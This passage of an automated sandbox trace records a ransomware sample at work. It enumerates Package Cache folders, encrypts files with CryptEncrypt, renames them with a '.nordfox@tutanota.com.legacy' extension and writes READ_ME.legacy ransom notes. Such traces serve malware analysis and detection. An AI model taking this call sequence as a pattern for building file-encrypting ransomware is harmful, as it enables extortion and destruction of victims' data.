dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0115.735] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.735] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x80) returned 1 [0115.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0115.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0115.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0115.749] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0115.749] GetFileSizeEx (in: hFile=0x654, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=638) returned 1 [0115.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x27e) returned 0x555b90 [0115.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x27e) returned 0x2f40050 [0115.750] ReadFile (in: hFile=0x654, lpBuffer=0x555b90, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x27e, lpOverlapped=0x0) returned 1 [0115.751] SetFilePointer (in: hFile=0x654, lDistanceToMove=-638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.751] WriteFile (in: hFile=0x654, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x27e, lpOverlapped=0x0) returned 1 [0115.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0115.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0115.752] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x27e [0115.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.752] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.752] WriteFile (in: hFile=0x654, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.753] WriteFile (in: hFile=0x654, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.753] CloseHandle (hObject=0x654) returned 1 [0115.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0115.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.754] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0115.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7328 | out: hHeap=0x520000) returned 1 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0115.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0115.756] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c63d8 [0115.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d58 [0115.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d58 | out: hHeap=0x520000) returned 1 [0115.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0115.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.757] GetLastError () returned 0x0 [0115.757] SetLastError (dwErrCode=0x0) [0115.757] GetLastError () returned 0x0 [0115.757] SetLastError (dwErrCode=0x0) [0115.757] GetLastError () returned 0x0 [0115.758] SetLastError (dwErrCode=0x0) [0115.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0115.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0115.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0115.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0115.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0115.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0115.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.758] FindNextFileW (in: hFindFile=0x5c63d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0115.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.759] GetLastError () returned 0x0 [0115.759] SetLastError (dwErrCode=0x0) [0115.759] GetLastError () returned 0x0 [0115.759] SetLastError (dwErrCode=0x0) [0115.759] GetLastError () returned 0x0 [0115.760] SetLastError (dwErrCode=0x0) [0115.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0115.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5fd8 [0115.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5fd8 | out: hHeap=0x520000) returned 1 [0115.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0115.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0115.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.761] FindNextFileW (in: hFindFile=0x5c63d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0115.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.761] GetLastError () returned 0x0 [0115.761] SetLastError (dwErrCode=0x0) [0115.761] GetLastError () returned 0x0 [0115.761] SetLastError (dwErrCode=0x0) [0115.762] GetLastError () returned 0x0 [0115.762] SetLastError (dwErrCode=0x0) [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0115.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.762] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.763] GetLastError () returned 0x0 [0115.763] SetLastError (dwErrCode=0x0) [0115.763] GetLastError () returned 0x0 [0115.763] SetLastError (dwErrCode=0x0) [0115.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0115.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.763] GetLastError () returned 0x0 [0115.763] SetLastError (dwErrCode=0x0) [0115.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0115.764] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658 [0115.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0115.765] WriteFile (in: hFile=0x658, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.766] CloseHandle (hObject=0x658) returned 1 [0115.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0115.767] FindNextFileW (in: hFindFile=0x5c63d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0115.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.767] GetLastError () returned 0x0 [0115.767] SetLastError (dwErrCode=0x0) [0115.767] GetLastError () returned 0x0 [0115.767] SetLastError (dwErrCode=0x0) [0115.768] GetLastError () returned 0x0 [0115.768] SetLastError (dwErrCode=0x0) [0115.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0115.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0115.768] FindNextFileW (in: hFindFile=0x5c63d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0115.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0115.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0115.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b30 | out: hHeap=0x520000) returned 1 [0115.768] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5fd8 [0115.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0115.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0115.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.769] GetLastError () returned 0x12 [0115.769] SetLastError (dwErrCode=0x12) [0115.769] GetLastError () returned 0x12 [0115.769] SetLastError (dwErrCode=0x12) [0115.769] GetLastError () returned 0x12 [0115.770] SetLastError (dwErrCode=0x12) [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6018 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6018 | out: hHeap=0x520000) returned 1 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.770] FindNextFileW (in: hFindFile=0x5c5fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0115.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0115.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.771] GetLastError () returned 0x12 [0115.771] SetLastError (dwErrCode=0x12) [0115.771] GetLastError () returned 0x12 [0115.771] SetLastError (dwErrCode=0x12) [0115.771] GetLastError () returned 0x12 [0115.771] SetLastError (dwErrCode=0x12) [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0115.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6018 [0115.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6018 | out: hHeap=0x520000) returned 1 [0115.771] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0115.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0115.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0115.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.772] FindNextFileW (in: hFindFile=0x5c5fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ca0 | out: hHeap=0x520000) returned 1 [0115.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0115.775] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9088 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.776] GetLastError () returned 0x12 [0115.776] SetLastError (dwErrCode=0x12) [0115.776] GetLastError () returned 0x12 [0115.776] SetLastError (dwErrCode=0x12) [0115.776] GetLastError () returned 0x12 [0115.776] SetLastError (dwErrCode=0x12) [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0115.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.777] GetLastError () returned 0x12 [0115.777] SetLastError (dwErrCode=0x12) [0115.777] GetLastError () returned 0x12 [0115.777] SetLastError (dwErrCode=0x12) [0115.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0115.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0115.777] GetLastError () returned 0x12 [0115.777] SetLastError (dwErrCode=0x12) [0115.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0115.777] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0115.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0115.778] WriteFile (in: hFile=0x65c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 